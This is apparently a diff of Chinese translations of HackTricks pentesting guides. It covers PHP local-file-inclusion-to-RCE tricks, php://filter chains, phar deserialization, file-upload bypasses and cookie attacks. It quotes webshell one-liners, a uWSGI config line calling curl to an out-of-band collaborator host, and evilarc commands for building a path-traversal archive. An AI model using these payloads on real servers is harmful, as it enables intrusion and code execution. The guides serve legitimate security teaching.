该参数指示 **请求 PHP 时必须终止的最大秒数**(默认无限,但 **如果参数未注释则为 30 秒**)。当请求被 PHP 处理时,达到指定的秒数后,它会被 **终止**。这意味着,如果请求正在上传临时文件,因为 **PHP 处理被停止**,那些 **文件将不会被删除**。因此,如果您能让请求持续那么长时间,您可以 **生成成千上万的临时文件**,这些文件不会被删除,这将 **加快查找它们的过程**,并减少通过消耗所有连接对平台造成 DoS 的概率。
|
||||
|
||||
因此,为了 **避免 DoS**,假设 **攻击者将同时使用 100 个连接**,而 PHP 的最大处理时间通过 **php-fmp**(`request_terminate_timeout`**)** 是 **30 秒**。因此,**每秒** 可以生成的 **临时文件** 数量为 `100*20/30 = 66.67`。
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Intro
|
||||
|
||||
这篇 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意的 php 代码** 进行包含 **而无需将其写入** 文件中。
|
||||
这篇 [**写作**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) 解释了你可以使用 **php 过滤器生成任意内容** 作为输出。这基本上意味着你可以 **生成任意的 php 代码** 进行包含 **而不需要将其写入文件**。
|
||||
|
||||
基本上,脚本的目标是在文件的 **开头** 生成一个 **Base64** 字符串,最终将被 **解码**,提供所需的有效载荷,**将被 `include` 解释**。
|
||||
|
||||
@ -17,12 +17,12 @@
|
||||
|
||||
1. 按照上述描述在我们的字符串前添加 `\x1b$)C`
|
||||
2. 应用一些 iconv 转换链,使我们的初始 base64 保持不变,并将我们刚刚添加的部分转换为只有下一个部分的有效 base64 字符的字符串
|
||||
3. 对字符串进行 base64 解码和再编码,这将去除中间的任何垃圾
|
||||
4. 如果我们想构造的 base64 还没有完成,则返回到第 1 步
|
||||
3. 对字符串进行 base64 解码和编码,这将去除中间的任何垃圾
|
||||
4. 如果我们想构造的 base64 还没有完成,则返回第 1 步
|
||||
5. 进行 base64 解码以获取我们的 php 代码
|
||||
|
||||
> [!WARNING]
|
||||
> **包含** 通常会做一些事情,比如 **在文件末尾附加 ".php"**,这可能会使利用变得困难,因为你需要找到一个内容不会破坏利用的 .php 文件……或者你 **可以直接使用 `php://temp` 作为资源**,因为它可以 **在名称中附加任何内容**(例如 +".php"),并且仍然允许利用工作!
|
||||
> **包含** 通常会在文件末尾 **附加 ".php"**,这可能会使利用变得困难,因为你需要找到一个内容不会破坏利用的 .php 文件……或者你 **可以直接使用 `php://temp` 作为资源**,因为它可以 **在名称中附加任何内容**(例如 +".php"),并且仍然允许利用工作!
|
||||
|
||||
## 如何将后缀添加到结果数据
|
||||
|
||||
@ -31,7 +31,7 @@
|
||||
## 自动工具
|
||||
|
||||
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
|
||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(可以添加后缀)**
|
||||
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(可以添加后缀)**
|
||||
|
||||
## 完整脚本
|
||||
```python
|
||||
@ -95,7 +95,7 @@ print(r.text)
|
||||
```
|
||||
### 改进
|
||||
|
||||
之前的脚本仅限于该有效负载所需的 base64 字符。因此,我创建了自己的脚本来 **暴力破解所有的 base64 字符**:
|
||||
之前的脚本仅限于该有效负载所需的 base64 字符。因此,我创建了自己的脚本来 **暴力破解所有 base64 字符**:
|
||||
```php
|
||||
conversions = {
|
||||
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
||||
@ -164,7 +164,7 @@ conversions = {
|
||||
'=': ''
|
||||
}
|
||||
```
|
||||
这里是获取生成每个 b64 字母的编码的 **脚本**:
|
||||
这里是**脚本**,用于获取生成每个 b64 字母的编码:
|
||||
```php
|
||||
<?php
|
||||
|
||||
@ -252,7 +252,4 @@ find_vals($init);
|
||||
```
|
||||
## 更多参考
|
||||
|
||||
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it
|
||||
|
||||
@ -18,15 +18,15 @@ sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
|
||||
|
||||
如果在PHP中允许上传文件,并且你尝试上传一个文件,这个文件会存储在一个临时目录中,直到服务器处理完请求,然后这个临时文件会被删除。
|
||||
|
||||
然后,如果你在web服务器中发现了LFI漏洞,你可以尝试猜测创建的临时文件的名称,并在文件被删除之前通过访问临时文件来利用RCE。
|
||||
然后,如果你在web服务器中发现了LFI漏洞,你可以尝试猜测创建的临时文件的名称,并通过在文件被删除之前访问临时文件来利用RCE。
|
||||
|
||||
在**Windows**中,文件通常存储在**C:\Windows\temp\php**
|
||||
|
||||
在**linux**中,文件的名称通常是**随机的**,并位于**/tmp**。由于名称是随机的,需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”内部的**变量$\_FILES**的值来完成。
|
||||
在**linux**中,文件的名称通常是**随机的**,并位于**/tmp**。由于名称是随机的,需要**从某处提取临时文件的名称**并在文件被删除之前访问它。这可以通过读取函数“**phpconfig()**”内容中的**变量$\_FILES**的值来完成。
|
||||
|
||||
**phpinfo()**
|
||||
|
||||
**PHP**使用**4096B**的缓冲区,当它**满**时,它会被**发送到客户端**。然后客户端可以**发送****大量的大请求**(使用大头部)**上传一个php**反向**shell**,等待**phpinfo()的第一部分被返回**(其中包含临时文件的名称),并尝试在php服务器删除文件之前**访问临时文件**,利用LFI漏洞。
|
||||
**PHP**使用**4096B**的缓冲区,当它**满**时,它会被**发送到客户端**。然后客户端可以**发送****大量的大请求**(使用大头部)**上传一个php**反向**shell**,等待**phpinfo()的第一部分返回**(其中包含临时文件的名称),并尝试在php服务器删除文件之前通过利用LFI漏洞**访问临时文件**。
|
||||
|
||||
**Python脚本尝试暴力破解名称(如果长度=6)**
|
||||
```python
|
||||
|
||||
@ -10,9 +10,9 @@ include("php://filter/string.strip_tags/resource=/etc/passwd");
|
||||
// PHP 7.2
|
||||
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
|
||||
```
|
||||
您应该知道,如果您**发送**一个**POST**请求**包含**一个**文件**,PHP将会在`/tmp/php<something>`中创建一个**临时文件**,其内容为该文件的内容。该文件将在请求处理完毕后**自动删除**。
|
||||
您应该知道,如果您**发送**一个**POST**请求**包含**一个**文件**,PHP将会在`/tmp/php<something>`中创建一个**临时文件**,其内容为该文件的内容。这个文件将在请求处理完毕后**自动删除**。
|
||||
|
||||
如果您发现了**LFI**并且成功**触发**了PHP中的段错误,**临时文件将永远不会被删除**。因此,您可以利用**LFI**漏洞**搜索**该文件,直到找到它并执行任意代码。
|
||||
如果您发现了**LFI**并且成功**触发**了PHP中的段错误,**临时文件将永远不会被删除**。因此,您可以利用**LFI**漏洞**搜索**它,直到找到并执行任意代码。
|
||||
|
||||
您可以使用docker镜像[https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0)进行测试。
|
||||
```python
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
这个特性的最佳之处在于,即使使用不执行PHP代码的PHP函数,如**file_get_contents()、fopen()、file()或file_exists()、md5_file()、filemtime()或filesize()**,也会发生这种反序列化。
|
||||
|
||||
所以,想象一个情况,你可以让一个PHP网页使用**`phar://`**协议获取任意文件的大小,并且在代码中你发现一个类似于以下的**类**:
|
||||
所以,想象一个情况,你可以让一个PHP网页使用**`phar://`**协议获取任意文件的大小,并且在代码中你发现一个类似于以下的**class**:
|
||||
```php:vunl.php
|
||||
<?php
|
||||
class AnyClass {
|
||||
@ -22,7 +22,7 @@ system($this->data);
|
||||
|
||||
filesize("phar://test.phar"); #The attacker can control this path
|
||||
```
|
||||
您可以创建一个 **phar** 文件,当加载时将 **滥用此类以执行任意命令**,例如:
|
||||
您可以创建一个 **phar** 文件,当加载时将 **利用此类执行任意命令**,例如:
|
||||
```php:create_phar.php
|
||||
<?php
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
如果你发现了一个 **Local File Inclusion**,即使你 **没有会话** 且 `session.auto_start` 为 `Off`。如果 **`session.upload_progress.enabled`** 为 **`On`** 并且你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**,PHP 将 **为你启用会话**。
|
||||
如果你发现了一个 **Local File Inclusion**,即使你 **没有会话** 且 `session.auto_start` 为 `Off`。如果 **`session.upload_progress.enabled`** 为 **`On`**,并且你在 **multipart POST** 数据中提供 **`PHP_SESSION_UPLOAD_PROGRESS`**,PHP 将 **为你启用会话**。
|
||||
```bash
|
||||
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
|
||||
$ ls -a /var/lib/php/sessions/
|
||||
@ -21,15 +21,15 @@ In the last example the session will contain the string blahblahblah
|
||||
注意,使用 **`PHP_SESSION_UPLOAD_PROGRESS`** 你可以 **控制会话中的数据**,因此如果你包含了你的会话文件,你可以包含一个你控制的部分(例如一个 php shellcode)。
|
||||
|
||||
> [!NOTE]
|
||||
> 尽管互联网上的大多数教程建议你将 `session.upload_progress.cleanup` 设置为 `Off` 以便于调试,但 PHP 中默认的 `session.upload_progress.cleanup` 仍然是 `On`。这意味着你的上传进度将在会话中尽快被清除。因此这将是 **竞争条件**。
|
||||
> 尽管互联网上的大多数教程建议你将 `session.upload_progress.cleanup` 设置为 `Off` 以便于调试,但 PHP 中默认的 `session.upload_progress.cleanup` 仍然是 `On`。这意味着你的上传进度将在尽可能快的时间内被清理。因此这将是 **竞争条件**。
|
||||
|
||||
### CTF
|
||||
|
||||
在 [**原始 CTF**](https://blog.orange.tw/2018/10/) 中,评论了这种技术,利用竞争条件并不足够,加载的内容也需要以字符串 `@<?php` 开头。
|
||||
在 [**原始 CTF**](https://blog.orange.tw/2018/10/) 中,评论了这种技术,利用竞争条件并不足够,但加载的内容也需要以字符串 `@<?php` 开头。
|
||||
|
||||
由于 `session.upload_progress.prefix` 的默认设置,我们的 **SESSION 文件将以一个烦人的前缀** `upload_progress_` 开头,例如:`upload_progress_controlledcontentbyattacker`
|
||||
|
||||
**去除初始前缀** 的技巧是 **将有效载荷进行 3 次 base64 编码**,然后通过 `convert.base64-decode` 过滤器解码,这是因为在 **base64 解码时 PHP 会去除奇怪的字符**,因此经过 3 次后 **仅** 会 **保留** 攻击者 **发送的有效载荷**(然后攻击者可以控制初始部分)。
|
||||
**去除初始前缀** 的技巧是 **将有效载荷进行 3 次 base64 编码**,然后通过 `convert.base64-decode` 过滤器解码,这是因为在 **base64 解码时 PHP 会去除奇怪的字符**,因此经过 3 次 **仅** 会 **保留** 攻击者 **发送的有效载荷**(然后攻击者可以控制初始部分)。
|
||||
|
||||
更多信息请参见原始写作 [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) 和最终利用 [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
|
||||
另一个写作在 [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## 文件上传一般方法论
|
||||
|
||||
其他有用的扩展名:
|
||||
@ -46,7 +45,7 @@
|
||||
- _file.php%00.png%00.jpg_
|
||||
6. 尝试将**执行扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(对利用Apache配置错误很有用,任何带有扩展名**_**.php**_**的内容,但不一定以.php**_**结尾的内容将执行代码):
|
||||
- _例如: file.php.png_
|
||||
7. 在**Windows**中使用**NTFS备用数据流(ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以使用其他技术进行编辑,例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此,在此模式后添加一个点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
|
||||
7. 在**Windows**中使用**NTFS备用数据流(ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**(例如“file.asax:.jpg”)。该文件可以稍后使用其他技术进行编辑,例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此,在此模式后添加一个点字符也可能有助于绕过进一步的限制(例如“file.asp::$data.”)
|
||||
8. 尝试打破文件名限制。有效扩展名被截断,恶意PHP被保留。AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
@ -62,18 +61,18 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
### 绕过内容类型、魔术数字、压缩和调整大小
|
||||
|
||||
- 通过将**Content-Type** **头**的**值**设置为:_image/png_ , _text/plain , application/octet-stream_来绕过**Content-Type**检查。
|
||||
- 通过将**Content-Type** **头**的**值**设置为以下内容来绕过**Content-Type**检查:_image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- 通过在文件开头添加**真实图像的字节**(混淆_file_命令)来绕过**魔术数字**检查。或者在**元数据**中引入shell:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` 或者你也可以**直接在图像中引入有效载荷**:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- 如果**压缩被添加到你的图像中**,例如使用一些标准的PHP库如[PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用**PLTE块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
|
||||
- [**带有代码的Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- 网页也可能在**调整图像大小**,例如使用PHP-GD函数`imagecopyresized`或`imagecopyresampled`。然而,你可以使用**IDAT块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
|
||||
- [**带有代码的Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- 另一种制作**在图像调整大小中存活的有效载荷**的技术,使用PHP-GD函数`thumbnailImage`。然而,你可以使用**tEXt块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
|
||||
- [**带有代码的Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
- [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### 其他检查技巧
|
||||
|
||||
@ -82,11 +81,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
- **可能的信息泄露**:
|
||||
1. **多次**(并且在**同一时间**)上传**同一文件**,使用**相同的名称**
|
||||
2. 上传一个**已经存在的**文件或**文件夹**的**名称**的文件
|
||||
3. 上传一个文件,其名称为**“.”、 “..”或“…”**。例如,在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
|
||||
4. 上传一个可能不容易被删除的文件,例如**“…:.jpg”**在**NTFS**中。(Windows)
|
||||
5. 在**Windows**中上传一个文件,其名称中包含**无效字符**,例如`|<>*?”`。(Windows)
|
||||
6. 在**Windows**中上传一个文件,使用**保留**(**禁止**)**名称**,例如CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8和LPT9。
|
||||
- 还可以尝试**上传一个可执行文件**(.exe)或一个**.html**(不太可疑),当受害者意外打开时**将执行代码**。
|
||||
3. 上传一个**“.”、 “..”或“…”作为其名称**的文件。例如,在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,“.”文件名将创建一个名为“uploads”的文件在“/www/”目录中。
|
||||
4. 上传一个可能不容易删除的文件,例如**“…:.jpg”**在**NTFS**中。(Windows)
|
||||
5. 在**Windows**中上传一个带有**无效字符**的文件,例如`|<>*?”`作为其名称。(Windows)
|
||||
6. 在**Windows**中上传一个使用**保留**(**禁止**)**名称**的文件,例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8和LPT9。
|
||||
- 还可以尝试**上传一个可执行文件**(.exe)或一个**.html**(不太可疑),当被受害者意外打开时**将执行代码**。
|
||||
|
||||
### 特殊扩展名技巧
|
||||
|
||||
@ -127,13 +126,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
有效负载的执行发生在配置文件解析期间。为了激活和解析配置,uWSGI 进程必须被重启(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用了自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
|
||||
有效负载的执行发生在配置文件解析期间。为了激活和解析配置,uWSGI 进程必须重新启动(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
|
||||
|
||||
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的有效负载可以插入到二进制文件中(例如图像或 PDF),进一步扩大潜在利用的范围。
|
||||
|
||||
## **wget 文件上传/SSRF 技巧**
|
||||
|
||||
在某些情况下,您可能会发现服务器正在使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保仅下载允许的文件。然而,**此检查可以被绕过。**\
|
||||
在某些情况下,您可能会发现服务器使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保仅下载允许的文件。然而,**此检查可以被绕过。**\
|
||||
**linux** 中 **文件名** 的 **最大** 长度为 **255**,但是 **wget** 将文件名截断为 **236** 个字符。您可以 **下载一个名为 "A"\*232+".php"+".gif"** 的文件,这个文件名将 **绕过** **检查**(因为在这个例子中 **".gif"** 是一个 **有效** 扩展名),但 `wget` 将 **重命名** 文件为 **"A"\*232+".php"**。
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
@ -219,7 +218,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 在不同文件夹中解压
|
||||
|
||||
在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够绕过限制,通过操纵目标应用程序的解压功能逃离安全上传目录。
|
||||
在解压过程中意外创建文件的情况是一个重大问题。尽管最初假设这种设置可能会防止通过恶意文件上传进行操作系统级命令执行,但ZIP归档格式的层次压缩支持和目录遍历能力可以被利用。这使得攻击者能够通过操纵目标应用程序的解压功能来绕过限制并逃离安全上传目录。
|
||||
|
||||
一个自动化的利用工具可以在 [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) 找到。该工具的使用方法如下:
|
||||
```python
|
||||
@ -228,7 +227,7 @@ python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
此外,**使用 evilarc 的符号链接技巧**是一个选项。如果目标是针对像 `/flag.txt` 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在其操作过程中不会遇到错误。
|
||||
此外,**使用 evilarc 的符号链接技巧**是一个选项。如果目标是针对像 `/flag.txt` 这样的文件,则应在您的系统中创建指向该文件的符号链接。这确保了 evilarc 在操作过程中不会遇到错误。
|
||||
|
||||
下面是用于创建恶意 zip 文件的 Python 代码示例:
|
||||
```python
|
||||
@ -288,7 +287,7 @@ pop graphic-context
|
||||
```
|
||||
## 在PNG中嵌入PHP Shell
|
||||
|
||||
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized`和`imagecopyresampled`函数在此上下文中特别相关,因为它们通常用于调整和重新采样图像。嵌入的PHP shell能够不受这些操作影响,这在某些用例中是一个显著的优势。
|
||||
在PNG文件的IDAT块中嵌入PHP shell可以有效绕过某些图像处理操作。PHP-GD中的`imagecopyresized`和`imagecopyresampled`函数在此上下文中特别相关,因为它们通常用于调整和重采样图像。嵌入的PHP shell能够不受这些操作影响,这对某些用例来说是一个显著的优势。
|
||||
|
||||
以下文章提供了对该技术的详细探讨,包括其方法论和潜在应用:["在PNG IDAT块中编码Web Shells"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)。该资源提供了对该过程及其影响的全面理解。
|
||||
|
||||
@ -296,11 +295,11 @@ pop graphic-context
|
||||
|
||||
## 多语言文件
|
||||
|
||||
多语言文件在网络安全中作为一种独特工具,像变色龙一样可以同时有效存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为GIF也可以作为RAR档案。这样的文件并不限于这种配对;像GIF和JS或PPT和JS的组合也是可行的。
|
||||
多语言文件在网络安全中作为一种独特的工具,像变色龙一样可以同时有效地存在于多种文件格式中。一个有趣的例子是[GIFAR](https://en.wikipedia.org/wiki/Gifar),它既可以作为GIF文件,也可以作为RAR归档。这样的文件并不限于这种配对;像GIF和JS或PPT和JS的组合也是可行的。
|
||||
|
||||
多语言文件的核心实用性在于它们能够绕过基于类型的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式(例如JS、PHP或Phar文件)带来的风险。然而,多语言文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
|
||||
多语言文件的核心用途在于它们能够绕过基于类型筛选文件的安全措施。各种应用中的常见做法是仅允许某些文件类型上传——如JPEG、GIF或DOC——以降低潜在有害格式(例如JS、PHP或Phar文件)带来的风险。然而,多语言文件通过符合多种文件类型的结构标准,可以悄然绕过这些限制。
|
||||
|
||||
尽管它们具有适应性,但多语言文件确实面临限制。例如,虽然一个多语言文件可能同时包含一个PHAR文件(PHp ARchive)和一个JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多语言文件的结构双重性可能不足以保证其上传。
|
||||
尽管它们具有适应性,多语言文件确实面临限制。例如,虽然一个多语言文件可能同时包含一个PHAR文件(PHp ARchive)和一个JPEG,但其上传的成功可能取决于平台的文件扩展名政策。如果系统对允许的扩展名要求严格,仅仅是多语言文件的结构双重性可能不足以保证其上传。
|
||||
|
||||
更多信息在:[https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
|
||||
@ -12,7 +12,7 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
||||
|
||||
### Domain
|
||||
|
||||
接收 cookie 的主机由 `Domain` 属性指定。默认情况下,这设置为发出 cookie 的主机,不包括其子域。然而,当 `Domain` 属性被明确设置时,它也包括子域。这使得 `Domain` 属性的指定成为一个不那么严格的选项,适用于需要跨子域共享 cookie 的场景。例如,设置 `Domain=mozilla.org` 使得在其子域如 `developer.mozilla.org` 上可以访问 cookie。
|
||||
接收 cookie 的主机由 `Domain` 属性指定。默认情况下,这设置为发出 cookie 的主机,不包括其子域。然而,当 `Domain` 属性被显式设置时,它也包括子域。这使得 `Domain` 属性的指定成为一个不那么严格的选项,适用于需要跨子域共享 cookie 的场景。例如,设置 `Domain=mozilla.org` 使得在其子域如 `developer.mozilla.org` 上可以访问 cookie。
|
||||
|
||||
### Path
|
||||
|
||||
@ -48,7 +48,7 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
||||
具有 _**SameSite**_ 属性的 cookie 将 **减轻 CSRF 攻击**,其中需要登录会话。
|
||||
|
||||
**\*请注意,从 Chrome80(2019年2月)开始,未设置 cookie samesite 属性的 cookie 的默认行为将为 lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
请注意,临时情况下,在应用此更改后,Chrome 中 **没有 SameSite** **策略的 cookie 将在 **前 2 分钟内被 **视为 None**,然后在顶级跨站点 POST 请求中被视为 Lax。**
|
||||
请注意,临时情况下,在应用此更改后,Chrome 中 **没有 SameSite** **策略的 cookie** 将在 **前 2 分钟内被视为 None**,然后在 **顶级跨站点 POST 请求中被视为 Lax**。
|
||||
|
||||
## Cookies Flags
|
||||
|
||||
@ -59,7 +59,7 @@ Cookie 的过期日期由 `Expires` 属性决定。相反,`Max-age` 属性定
|
||||
#### **Bypasses**
|
||||
|
||||
- 如果页面 **作为请求的响应发送 cookie**(例如在 **PHPinfo** 页面中),可以利用 XSS 发送请求到此页面并 **窃取响应中的 cookie**(请查看 [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/) 中的示例)。
|
||||
- 这可以通过 **TRACE** **HTTP** 请求绕过,因为服务器的响应将反映发送的 cookie(如果此 HTTP 方法可用)。此技术称为 **Cross-Site Tracking**。
|
||||
- 通过 **TRACE** **HTTP** 请求可以绕过,因为服务器的响应将反映发送的 cookie(如果此 HTTP 方法可用)。此技术称为 **Cross-Site Tracking**。
|
||||
- 现代浏览器通过不允许从 JS 发送 TRACE 请求来避免此技术。然而,在特定软件中发现了一些绕过方法,例如向 IE6.0 SP2 发送 `\r\nTRACE` 而不是 `TRACE`。
|
||||
- 另一种方法是利用浏览器的零日漏洞。
|
||||
- 通过执行 Cookie Jar 溢出攻击,可以 **覆盖 HttpOnly cookies**:
|
||||
@ -76,12 +76,12 @@ cookie-jar-overflow.md
|
||||
|
||||
## Cookies Prefixes
|
||||
|
||||
以 `__Secure-` 开头的 cookie 必须与通过 HTTPS 保护的页面的 `secure` 标志一起设置。
|
||||
以 `__Secure-` 开头的 cookie 必须与来自 HTTPS 的页面一起设置 `secure` 标志。
|
||||
|
||||
对于以 `__Host-` 开头的 cookie,必须满足几个条件:
|
||||
|
||||
- 必须设置 `secure` 标志。
|
||||
- 必须来自通过 HTTPS 保护的页面。
|
||||
- 必须来自由 HTTPS 保护的页面。
|
||||
- 禁止指定域,防止其传输到子域。
|
||||
- 这些 cookie 的路径必须设置为 `/`。
|
||||
|
||||
@ -113,7 +113,7 @@ cookie-jar-overflow.md
|
||||
|
||||
在这种情况下,攻击者诱使受害者使用特定的 cookie 登录。如果应用程序在登录时不分配新 cookie,攻击者持有原始 cookie,可以冒充受害者。此技术依赖于受害者使用攻击者提供的 cookie 登录。
|
||||
|
||||
如果您在 **子域中发现了 XSS** 或您 **控制一个子域**,请阅读:
|
||||
如果您在 **子域中发现了 XSS** 或 **控制了子域**,请阅读:
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
@ -123,7 +123,7 @@ cookie-tossing.md
|
||||
|
||||
在这里,攻击者说服受害者使用攻击者的会话 cookie。受害者相信他们已登录自己的帐户,将无意中在攻击者的帐户上下文中执行操作。
|
||||
|
||||
如果您在 **子域中发现了 XSS** 或您 **控制一个子域**,请阅读:
|
||||
如果您在 **子域中发现了 XSS** 或 **控制了子域**,请阅读:
|
||||
|
||||
{{#ref}}
|
||||
cookie-tossing.md
|
||||
@ -133,7 +133,7 @@ cookie-tossing.md
|
||||
|
||||
点击上面的链接访问解释 JWT 可能存在缺陷的页面。
|
||||
|
||||
用于 cookie 的 JSON Web Tokens (JWT) 也可能存在漏洞。有关潜在缺陷及其利用方式的深入信息,建议访问有关黑客 JWT 的链接文档。
|
||||
用于 cookie 的 JSON Web Tokens (JWT) 也可能存在漏洞。有关潜在缺陷及其利用方式的深入信息,建议访问与 JWT 黑客相关的文档。
|
||||
|
||||
### Cross-Site Request Forgery (CSRF)
|
||||
|
||||
